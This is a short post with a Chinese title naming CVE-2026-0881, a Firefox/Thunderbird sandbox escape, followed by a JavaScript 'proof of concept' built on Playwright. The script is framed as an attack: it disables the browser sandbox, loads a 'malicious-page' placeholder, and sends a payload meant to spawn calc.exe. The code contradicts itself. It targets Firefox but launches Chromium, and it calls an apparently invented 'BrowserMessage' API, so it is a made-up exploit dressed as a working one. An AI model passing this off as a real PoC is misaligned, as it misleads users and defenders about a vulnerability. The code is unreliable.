CVE-2026-0881 Mozilla Firefox/Thunderbird沙箱逃逸漏洞

// CVE-2026-0881 PoC - Sandbox Escape in Messaging System // This is a conceptual PoC based on the vulnerability description // Actual exploitation requires specific browser/Thunderbird version const { chromium } = require('playwright'); async function exploitCVE20260881() { const browser = await chromium.launch({ headless: false, args: ['--no-sandbox', '--disable-setuid-sandbox'] }); const context = await browser.newContext(); const page = await context.newPage(); // Target URL with malicious payload const targetUrl = 'https://vulnerable-server.com/malicious-page'; // Construct message system exploit payload const exploitPayload = { type: 'sandbox_escape', component: 'MessagingSystem', action: 'bypass_sandbox', // Malicious code to execute after sandbox escape exec: 'calc.exe' // Example: spawn calculator (Windows) }; try { // Navigate to attack page await page.goto(targetUrl, { waitUntil: 'networkidle' }); // Trigger the vulnerability through message system await page.evaluate((payload) => { // Exploit message system component const msg = new BrowserMessage(payload); msg.dispatch(); }, exploitPayload); console.log('[+] Exploit sent successfully'); } catch (error) { console.error('[-] Exploit failed:', error.message); } finally { await browser.close(); } } // Run exploit // Note: This PoC is for educational purposes only // Actual exploitation requires specific conditions and versions exploitCVE20260881();